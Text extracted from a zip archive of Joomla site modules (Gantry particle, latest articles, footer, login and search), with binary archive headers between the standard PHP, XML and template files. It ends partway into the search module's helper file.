$gantry = \Gantry\Framework\Gantry::instance();

GANTRY_DEBUGGER && \Gantry\Debugger::startTimer("module-{$module->id}", "Rendering Particle Module #{$module->id}");

// Set up caching.
$cacheid = md5($module->id);

$cacheparams = (object) [
    'cachemode'    => 'id',
    'class'        => 'ModGantry5ParticleHelper',
    'method'       => 'cache',
    'methodparams' => [$module, $params],
    'modeparams'   => $cacheid
];

$block = ModGantry5ParticleHelper::moduleCache($module, $params, $cacheparams);
if (!$block) {
    $block = ModGantry5ParticleHelper::render($module, $params);
}

/** @var \Gantry\Framework\Document $document */
$document = $gantry['document'];
$document->addBlock($block);

echo $block->toString();

GANTRY_DEBUGGER && \Gantry\Debugger::stopTimer("module-{$module->id}");
PK!�ӱkkmod_gantry5_particle/MD5SUMSnu&1i�mod_gantry5_particle.xml	e210228187345cd4afa6402cc864beba
language/en-GB/en-GB.mod_gantry5_particle.ini	36768f6c44ba3fe3f5fea7e9d68b7ad7
language/en-GB/en-GB.mod_gantry5_particle.sys.ini	ac2c79d2f58a93ff1e39cb596e1ef2ad
mod_gantry5_particle.php	a3335aebeb6109cb024acc75a2bd0267
MD5SUMS	d41d8cd98f00b204e9800998ecf8427e
helper.php	4565baa8bfc942afd80139cbce27e8f9
PK!�ve^��mod_articles_latest/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_latest
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

JModelLegacy::addIncludePath(JPATH_SITE . '/components/com_content/models', 'ContentModel');

use Joomla\Utilities\ArrayHelper;

/**
 * Helper for mod_articles_latest
 *
 * @since  1.6
 */
abstract class ModArticlesLatestHelper
{
	/**
	 * Retrieve a list of article
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  mixed
	 *
	 * @since   1.6
	 */
	public static function getList(&$params)
	{
		// Get the dbo
		$db = JFactory::getDbo();

		// Get an instance of the generic articles model
		$model = JModelLegacy::getInstance('Articles', 'ContentModel', array('ignore_request' => true));

		// Set application parameters in model
		$app       = JFactory::getApplication();
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		$model->setState('list.start', 0);
		$model->setState('filter.published', 1);

		// Set the filters based on the module params
		$model->setState('list.limit', (int) $params->get('count', 5));

		// This module does not use tags data
		$model->setState('load_tags', false);

		// Access filter
		$access     = !JComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = JAccess::getAuthorisedViewLevels(JFactory::getUser()->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', array()));

		// User filter
		$userId = JFactory::getUser()->get('id');

		switch ($params->get('user_id'))
		{
			case 'by_me' :
				$model->setState('filter.author_id', (int) $userId);
				break;
			case 'not_me' :
				$model->setState('filter.author_id', $userId);
				$model->setState('filter.author_id.include', false);
				break;

			case 'created_by' :
				$model->setState('filter.author_id', $params->get('author', array()));
				break;

			case '0' :
				break;

			default:
				$model->setState('filter.author_id', (int) $params->get('user_id'));
				break;
		}

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		// Featured switch
		$featured = $params->get('show_featured', '');

		if ($featured === '')
		{
			$model->setState('filter.featured', 'show');
		}
		elseif ($featured)
		{
			$model->setState('filter.featured', 'only');
		}
		else
		{
			$model->setState('filter.featured', 'hide');
		}

		// Set ordering
		$order_map = array(
			'm_dsc' => 'a.modified DESC, a.created',
			'mc_dsc' => 'CASE WHEN (a.modified = ' . $db->quote($db->getNullDate()) . ') THEN a.created ELSE a.modified END',
			'c_dsc' => 'a.created',
			'p_dsc' => 'a.publish_up',
			'random' => $db->getQuery(true)->Rand(),
		);

		$ordering = ArrayHelper::getValue($order_map, $params->get('ordering'), 'a.publish_up');
		$dir      = 'DESC';

		$model->setState('list.ordering', $ordering);
		$model->setState('list.direction', $dir);

		$items = $model->getItems();

		foreach ($items as &$item)
		{
			$item->slug    = $item->id . ':' . $item->alias;

			/** @deprecated Catslug is deprecated, use catid instead. 4.0 */
			$item->catslug = $item->catid . ':' . $item->category_alias;

			if ($access || in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link = JRoute::_(ContentHelperRoute::getArticleRoute($item->slug, $item->catid, $item->language));
			}
			else
			{
				$item->link = JRoute::_('index.php?option=com_users&view=login');
			}
		}

		return $items;
	}
}
PK!���UXX$mod_articles_latest/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_latest
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if (!$list)
{
	return;
}

?>
<ul class="mod-articleslatest latestnews mod-list">
<?php foreach ($list as $item) : ?>
	<li itemscope itemtype="https://schema.org/Article">
		<a href="<?php echo $item->link; ?>" itemprop="url">
			<span itemprop="name">
				<?php echo $item->title; ?>
			</span>
		</a>
	</li>
<?php endforeach; ?>
</ul>
PK!�nӃ�+mod_articles_latest/mod_articles_latest.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_latest
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\ArticlesLatest\Site\Helper\ArticlesLatestHelper;

$model = $app->bootComponent('com_content')->getMVCFactory()->createModel('Articles', 'Site', ['ignore_request' => true]);
$list = ArticlesLatestHelper::getList($params, $model);

require ModuleHelper::getLayoutPath('mod_articles_latest', $params->get('layout', 'default'));
PK!l<�+mod_articles_latest/mod_articles_latest.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_articles_latest</name>
	<author>Joomla! Project</author>
	<creationDate>July 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_LATEST_NEWS_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\ArticlesLatest</namespace>
	<files>
		<filename module="mod_articles_latest">mod_articles_latest.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_articles_latest.ini</language>
		<language tag="en-GB">language/en-GB/mod_articles_latest.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_NEWS" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="catid"
					type="category"
					label="JCATEGORY"
					extension="com_content"
					multiple="true"
					layout="joomla.form.field.list-fancy-select"
					filter="intarray"
				/>

				<field
					name="count"
					type="number"
					label="MOD_LATEST_NEWS_FIELD_COUNT_LABEL"
					default="5"
					filter="integer"
				/>

				<field
					name="show_featured"
					type="list"
					label="MOD_LATEST_NEWS_FIELD_FEATURED_LABEL"
					default=""
					filter="integer"
					validate="options"
					>
					<option value="">JSHOW</option>
					<option value="0">JHIDE</option>
					<option value="1">MOD_LATEST_NEWS_VALUE_ONLY_SHOW_FEATURED</option>
				</field>

				<field
					name="ordering"
					type="list"
					label="MOD_LATEST_NEWS_FIELD_ORDERING_LABEL"
					default="p_dsc"
					validate="options"
					>
					<option value="c_dsc">MOD_LATEST_NEWS_VALUE_RECENT_ADDED</option>
					<option value="m_dsc">MOD_LATEST_NEWS_VALUE_RECENT_MODIFIED</option>
					<option value="p_dsc">MOD_LATEST_NEWS_VALUE_RECENT_PUBLISHED</option>
					<option value="mc_dsc">MOD_LATEST_NEWS_VALUE_RECENT_TOUCHED</option>
					<option	value="random">MOD_LATEST_NEWS_VALUE_RECENT_RAND</option>
				</field>

				<field
					name="user_id"
					type="list"
					label="MOD_LATEST_NEWS_FIELD_USER_LABEL"
					default="0"
					validate="options"
					>
					<option value="0">MOD_LATEST_NEWS_VALUE_ANYONE</option>
					<option value="by_me">MOD_LATEST_NEWS_VALUE_ADDED_BY_ME</option>
					<option value="not_me">MOD_LATEST_NEWS_VALUE_NOTADDED_BY_ME</option>
					<option value="created_by">MOD_LATEST_NEWS_VALUE_CREATED_BY</option>
				</field>

				<field
					name="author"
					type="author"
					label="MOD_LATEST_NEWS_FIELD_AUTHOR_LABEL"
					multiple="true"
					layout="joomla.form.field.list-fancy-select"
					showon="user_id:created_by"
				/>
			</fieldset>

			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!����\\mod_footer/mod_footer.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_footer</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_FOOTER_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\Footer</namespace>
	<files>
		<filename module="mod_footer">mod_footer.php</filename>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_footer.ini</language>
		<language tag="en-GB">language/en-GB/mod_footer.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_FOOTER" />
	<config>
		<fields name="params">
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					default="1"
					filter="integer"
					validate="options"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!��K��mod_footer/mod_footer.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_footer
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ModuleHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\String\StringHelper;

$date       = Factory::getDate();
$cur_year   = HTMLHelper::_('date', $date, 'Y');
$csite_name = $app->get('sitename');

if (is_int(StringHelper::strpos(Text::_('MOD_FOOTER_LINE1'), '%date%')))
{
	$line1 = str_replace('%date%', $cur_year, Text::_('MOD_FOOTER_LINE1'));
}
else
{
	$line1 = Text::_('MOD_FOOTER_LINE1');
}

if (is_int(StringHelper::strpos($line1, '%sitename%')))
{
	$lineone = str_replace('%sitename%', $csite_name, $line1);
}
else
{
	$lineone = $line1;
}

require ModuleHelper::getLayoutPath('mod_footer', $params->get('layout', 'default'));
PK!&�Sf��mod_footer/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_footer
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="mod-footer">
	<div class="footer1"><?php echo $lineone; ?></div>
	<div class="footer2"><?php echo Text::_('MOD_FOOTER_LINE2'); ?></div>
</div>
PK!jb�;jjmod_login/mod_login.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" method="upgrade">
	<name>mod_login</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_LOGIN_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Module\Login</namespace>
	<files>
		<filename module="mod_login">mod_login.php</filename>
		<folder>src</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/mod_login.ini</language>
		<language tag="en-GB">language/en-GB/mod_login.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_LOGIN" />
	<config>
		<fields name="params">
			<fieldset name="basic" addfieldprefix="Joomla\Component\Menus\Administrator\Field">
				<field
					name="pretext"
					type="textarea"
					label="MOD_LOGIN_FIELD_PRE_TEXT_LABEL"
					filter="safehtml"
					cols="30"
					rows="5"
				/>

				<field
					name="posttext"
					type="textarea"
					label="MOD_LOGIN_FIELD_POST_TEXT_LABEL"
					filter="safehtml"
					cols="30"
					rows="5"
				/>

				<field
					name="login"
					type="modal_menu"
					label="MOD_LOGIN_FIELD_LOGIN_REDIRECTURL_LABEL"
					description="MOD_LOGIN_FIELD_LOGIN_REDIRECTURL_DESC"
					disable="separator,alias,heading,url"
					select="true"
					new="true"
					edit="true"
					clear="true"
					>
					<option value="">JOPTION_SELECT_MENU_ITEM</option>
				</field>

				<field
					name="logout"
					type="modal_menu"
					label="MOD_LOGIN_FIELD_LOGOUT_REDIRECTURL_LABEL"
					description="MOD_LOGIN_FIELD_LOGOUT_REDIRECTURL_DESC"
					disable="separator,alias,heading,url"
					select="true"
					new="true"
					edit="true"
					clear="true"
					>
					<option value="">JOPTION_SELECT_MENU_ITEM</option>
				</field>

				<field
					name="customRegLinkMenu"
					type="modal_menu"
					label="MOD_LOGIN_FIELD_REGISTRATION_MENU_LABEL"
					disable="separator,alias,heading,url"
					select="true"
					new="true"
					edit="true"
					clear="true"
					>
					<option value="">JOPTION_SELECT_MENU_ITEM</option>
				</field>

				<field
					name="greeting"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_LOGIN_FIELD_GREETING_LABEL"
					default="1"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="name"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_LOGIN_FIELD_NAME_LABEL"
					default="0"
					filter="integer"
					showon="greeting:1"
					>
					<option value="0">MOD_LOGIN_VALUE_NAME</option>
					<option value="1">MOD_LOGIN_VALUE_USERNAME</option>
				</field>

				<field
					name="profilelink"
					type="radio"
					label="MOD_LOGIN_FIELD_PROFILE_LABEL"
					layout="joomla.form.field.radio.switcher"
					default="0"
					filter="integer"
					>
					<option value="0">JHIDE</option>
					<option value="1">JSHOW</option>
				</field>

				<field
					name="usetext"
					type="radio"
					layout="joomla.form.field.radio.switcher"
					label="MOD_LOGIN_FIELD_USETEXT_LABEL"
					default="0"
					filter="integer"
					>
					<option value="0">MOD_LOGIN_VALUE_ICONS</option>
					<option value="1">MOD_LOGIN_VALUE_TEXT</option>
				</field>
			</fieldset>

			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					class="form-select"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					rows="3"
					validate="CssIdentifier"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!��Jmod_login/mod_login.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_login
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Helper\AuthenticationHelper;
use Joomla\CMS\Helper\ModuleHelper;
use Joomla\Module\Login\Site\Helper\LoginHelper;

$params->def('greeting', 1);

// HTML IDs
$formId           = 'login-form-' . $module->id;
$type             = LoginHelper::getType();
$return           = LoginHelper::getReturnUrl($params, $type);
$registerLink     = LoginHelper::getRegistrationUrl($params);
$twofactormethods = AuthenticationHelper::getTwoFactorMethods();
$extraButtons     = AuthenticationHelper::getLoginButtons($formId);
$user             = Factory::getUser();
$layout           = $params->get('layout', 'default');

// Logged users must load the logout sublayout
if (!$user->guest)
{
	$layout .= '_logout';
}

require ModuleHelper::getLayoutPath('mod_login', $layout);
PK!(G�ffmod_login/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_login
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Helper for mod_login
 *
 * @since  1.5
 */
class ModLoginHelper
{
	/**
	 * Retrieve the URL where the user should be returned after logging in
	 *
	 * @param   \Joomla\Registry\Registry  $params  module parameters
	 * @param   string                     $type    return type
	 *
	 * @return string
	 */
	public static function getReturnUrl($params, $type)
	{
		$app  = JFactory::getApplication();
		$item = $app->getMenu()->getItem($params->get($type));

		// Stay on the same page
		$url = JUri::getInstance()->toString();

		if ($item)
		{
			$lang = '';

			if ($item->language !== '*' && JLanguageMultilang::isEnabled())
			{
				$lang = '&lang=' . $item->language;
			}

			$url = 'index.php?Itemid=' . $item->id . $lang;
		}

		return base64_encode($url);
	}

	/**
	 * Returns the current users type
	 *
	 * @return string
	 */
	public static function getType()
	{
		$user = JFactory::getUser();

		return (!$user->get('guest')) ? 'logout' : 'login';
	}

	/**
	 * Get list of available two factor methods
	 *
	 * @return array
	 *
	 * @deprecated  4.0  Use JAuthenticationHelper::getTwoFactorMethods() instead.
	 */
	public static function getTwoFactorMethods()
	{
		JLog::add(__METHOD__ . ' is deprecated, use JAuthenticationHelper::getTwoFactorMethods() instead.', JLog::WARNING, 'deprecated');

		return JAuthenticationHelper::getTwoFactorMethods();
	}
}
PK!�����mod_login/tmpl/default.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_login
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;

$app->getDocument()->getWebAssetManager()
	->useScript('core')
	->useScript('keepalive')
	->useScript('field.passwordview');

Text::script('JSHOWPASSWORD');
Text::script('JHIDEPASSWORD');
?>
<form id="login-form-<?php echo $module->id; ?>" class="mod-login" action="<?php echo Route::_('index.php', true); ?>" method="post">

	<?php if ($params->get('pretext')) : ?>
		<div class="mod-login__pretext pretext">
			<p><?php echo $params->get('pretext'); ?></p>
		</div>
	<?php endif; ?>

	<div class="mod-login__userdata userdata">
		<div class="mod-login__username form-group">
			<?php if (!$params->get('usetext', 0)) : ?>
				<div class="input-group">
					<input id="modlgn-username-<?php echo $module->id; ?>" type="text" name="username" class="form-control" autocomplete="username" placeholder="<?php echo Text::_('MOD_LOGIN_VALUE_USERNAME'); ?>">
					<label for="modlgn-username-<?php echo $module->id; ?>" class="visually-hidden"><?php echo Text::_('MOD_LOGIN_VALUE_USERNAME'); ?></label>
					<span class="input-group-text" title="<?php echo Text::_('MOD_LOGIN_VALUE_USERNAME'); ?>">
						<span class="icon-user icon-fw" aria-hidden="true"></span>
					</span>
				</div>
			<?php else : ?>
				<label for="modlgn-username-<?php echo $module->id; ?>"><?php echo Text::_('MOD_LOGIN_VALUE_USERNAME'); ?></label>
				<input id="modlgn-username-<?php echo $module->id; ?>" type="text" name="username" class="form-control" autocomplete="username" placeholder="<?php echo Text::_('MOD_LOGIN_VALUE_USERNAME'); ?>">
			<?php endif; ?>
		</div>

		<div class="mod-login__password form-group">
			<?php if (!$params->get('usetext', 0)) : ?>
				<div class="input-group">
					<input id="modlgn-passwd-<?php echo $module->id; ?>" type="password" name="password" autocomplete="current-password" class="form-control" placeholder="<?php echo Text::_('JGLOBAL_PASSWORD'); ?>">
					<label for="modlgn-passwd-<?php echo $module->id; ?>" class="visually-hidden"><?php echo Text::_('JGLOBAL_PASSWORD'); ?></label>
					<button type="button" class="btn btn-secondary input-password-toggle">
						<span class="icon-eye icon-fw" aria-hidden="true"></span>
						<span class="visually-hidden"><?php echo Text::_('JSHOWPASSWORD'); ?></span>
					</button>
				</div>
			<?php else : ?>
				<label for="modlgn-passwd-<?php echo $module->id; ?>"><?php echo Text::_('JGLOBAL_PASSWORD'); ?></label>
				<input id="modlgn-passwd-<?php echo $module->id; ?>" type="password" name="password" autocomplete="current-password" class="form-control" placeholder="<?php echo Text::_('JGLOBAL_PASSWORD'); ?>">
			<?php endif; ?>
		</div>

		<?php if (count($twofactormethods) > 1) : ?>
			<div class="mod-login__twofactor form-group">
				<?php if (!$params->get('usetext', 0)) : ?>
					<div class="input-group">
						<span class="input-group-text">
							<span class="icon-star" aria-hidden="true"></span>
						</span>
						<label for="modlgn-secretkey-<?php echo $module->id; ?>" class="visually-hidden"><?php echo Text::_('JGLOBAL_SECRETKEY'); ?></label>
						<input id="modlgn-secretkey-<?php echo $module->id; ?>" autocomplete="one-time-code" type="text" name="secretkey" class="form-control" placeholder="<?php echo Text::_('JGLOBAL_SECRETKEY'); ?>">
						<span class="input-group-text">
							<span class="icon-question icon-fw" aria-hidden="true"></span>
						</span>
					</div>
				<?php else : ?>
					<label for="modlgn-secretkey-<?php echo $module->id; ?>"><?php echo Text::_('JGLOBAL_SECRETKEY'); ?></label>
					<div class="input-group">
						<input id="modlgn-secretkey-<?php echo $module->id; ?>" autocomplete="one-time-code" type="text" name="secretkey" class="form-control" placeholder="<?php echo Text::_('JGLOBAL_SECRETKEY'); ?>">
						<span class="input-group-text">
							<span class="icon-question icon-fw" aria-hidden="true"></span>
						</span>
					</div>
				<?php endif; ?>
			</div>
		<?php endif; ?>

		<?php if (PluginHelper::isEnabled('system', 'remember')) : ?>
			<div class="mod-login__remember form-group">
				<div id="form-login-remember-<?php echo $module->id; ?>" class="form-check">
					<label class="form-check-label">
						<input type="checkbox" name="remember" class="form-check-input" value="yes">
						<?php echo Text::_('MOD_LOGIN_REMEMBER_ME'); ?>
					</label>
				</div>
			</div>
		<?php endif; ?>

		<?php foreach($extraButtons as $button):
			$dataAttributeKeys = array_filter(array_keys($button), function ($key) {
				return substr($key, 0, 5) == 'data-';
			});
			?>
			<div class="mod-login__submit form-group">
				<button type="button"
						class="btn btn-secondary w-100 mt-4 <?php echo $button['class'] ?? '' ?>"
						<?php foreach ($dataAttributeKeys as $key): ?>
						<?php echo $key ?>="<?php echo $button[$key] ?>"
						<?php endforeach; ?>
						<?php if ($button['onclick']): ?>
						onclick="<?php echo $button['onclick'] ?>"
						<?php endif; ?>
						title="<?php echo Text::_($button['label']) ?>"
						id="<?php echo $button['id'] ?>"
						>
					<?php if (!empty($button['icon'])): ?>
						<span class="<?php echo $button['icon'] ?>"></span>
					<?php elseif (!empty($button['image'])): ?>
						<?php echo $button['image']; ?>
					<?php elseif (!empty($button['svg'])): ?>
						<?php echo $button['svg']; ?>
					<?php endif; ?>
					<?php echo Text::_($button['label']) ?>
				</button>
			</div>
		<?php endforeach; ?>

		<div class="mod-login__submit form-group">
			<button type="submit" name="Submit" class="btn btn-primary"><?php echo Text::_('JLOGIN'); ?></button>
		</div>

		<?php
			$usersConfig = ComponentHelper::getParams('com_users'); ?>
			<ul class="mod-login__options list-unstyled">
				<li>
					<a href="<?php echo Route::_('index.php?option=com_users&view=reset'); ?>">
					<?php echo Text::_('MOD_LOGIN_FORGOT_YOUR_PASSWORD'); ?></a>
				</li>
				<li>
					<a href="<?php echo Route::_('index.php?option=com_users&view=remind'); ?>">
					<?php echo Text::_('MOD_LOGIN_FORGOT_YOUR_USERNAME'); ?></a>
				</li>
				<?php if ($usersConfig->get('allowUserRegistration')) : ?>
				<li>
					<a href="<?php echo Route::_($registerLink); ?>">
					<?php echo Text::_('MOD_LOGIN_REGISTER'); ?> <span class="icon-register" aria-hidden="true"></span></a>
				</li>
				<?php endif; ?>
			</ul>
		<input type="hidden" name="option" value="com_users">
		<input type="hidden" name="task" value="user.login">
		<input type="hidden" name="return" value="<?php echo $return; ?>">
		<?php echo HTMLHelper::_('form.token'); ?>
	</div>
	<?php if ($params->get('posttext')) : ?>
		<div class="mod-login__posttext posttext">
			<p><?php echo $params->get('posttext'); ?></p>
		</div>
	<?php endif; ?>
</form>
PK!�Zkk!mod_login/tmpl/default_logout.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_login
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

HTMLHelper::_('behavior.keepalive');
?>
<form class="mod-login-logout form-vertical" action="<?php echo Route::_('index.php', true); ?>" method="post" id="login-form-<?php echo $module->id; ?>">
<?php if ($params->get('greeting', 1)) : ?>
	<div class="mod-login-logout__login-greeting login-greeting">
	<?php if (!$params->get('name', 0)) : ?>
		<?php echo Text::sprintf('MOD_LOGIN_HINAME', htmlspecialchars($user->get('name'), ENT_COMPAT, 'UTF-8')); ?>
	<?php else : ?>
		<?php echo Text::sprintf('MOD_LOGIN_HINAME', htmlspecialchars($user->get('username'), ENT_COMPAT, 'UTF-8')); ?>
	<?php endif; ?>
	</div>
<?php endif; ?>
<?php if ($params->get('profilelink', 0)) : ?>
	<ul class="mod-login-logout__options list-unstyled">
		<li>
			<a href="<?php echo Route::_('index.php?option=com_users&view=profile'); ?>">
			<?php echo Text::_('MOD_LOGIN_PROFILE'); ?></a>
		</li>
	</ul>
<?php endif; ?>
	<div class="mod-login-logout__button logout-button">
		<input type="submit" name="Submit" class="btn btn-primary" value="<?php echo Text::_('JLOGOUT'); ?>">
		<input type="hidden" name="option" value="com_users">
		<input type="hidden" name="task" value="user.logout">
		<input type="hidden" name="return" value="<?php echo $return; ?>">
		<?php echo HTMLHelper::_('form.token'); ?>
	</div>
</form>
PK!�o��mod_search/tmpl/default.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_search
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Including fallback code for the placeholder attribute in the search field.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js', array('version' => 'auto', 'relative' => true, 'conditional' => 'lt IE 9'));

if ($width)
{
	$moduleclass_sfx .= ' ' . 'mod_search' . $module->id;
	$css = 'div.mod_search' . $module->id . ' input[type="search"]{ width:auto; }';
	JFactory::getDocument()->addStyleDeclaration($css);
	$width = ' size="' . $width . '"';
}
else
{
	$width = '';
}
?>
<div class="search<?php echo $moduleclass_sfx; ?>">
	<form action="<?php echo JRoute::_('index.php'); ?>" method="post" class="form-inline" role="search">
		<?php
			$output = '<label for="mod-search-searchword' . $module->id . '" class="element-invisible">' . $label . '</label> ';
			$output .= '<input name="searchword" id="mod-search-searchword' . $module->id . '" maxlength="' . $maxlength . '"  class="inputbox search-query input-medium" type="search"' . $width;
			$output .= ' placeholder="' . $text . '" />';

			if ($button) :
				if ($imagebutton) :
					$btn_output = ' <input type="image" alt="' . $button_text . '" class="button" src="' . $img . '" onclick="this.form.searchword.focus();"/>';
				else :
					$btn_output = ' <button class="button btn btn-primary" onclick="this.form.searchword.focus();">' . $button_text . '</button>';
				endif;

				switch ($button_pos) :
					case 'top' :
						$output = $btn_output . '<br />' . $output;
						break;

					case 'bottom' :
						$output .= '<br />' . $btn_output;
						break;

					case 'right' :
						$output .= $btn_output;
						break;

					case 'left' :
					default :
						$output = $btn_output . $output;
						break;
				endswitch;
			endif;

			echo $output;
		?>
		<input type="hidden" name="task" value="search" />
		<input type="hidden" name="option" value="com_search" />
		<input type="hidden" name="Itemid" value="<?php echo $mitemid; ?>" />
	</form>
</div>
PK!_a �mod_search/helper.phpnu�[���<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_search
 *
 * @copyright   Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved.
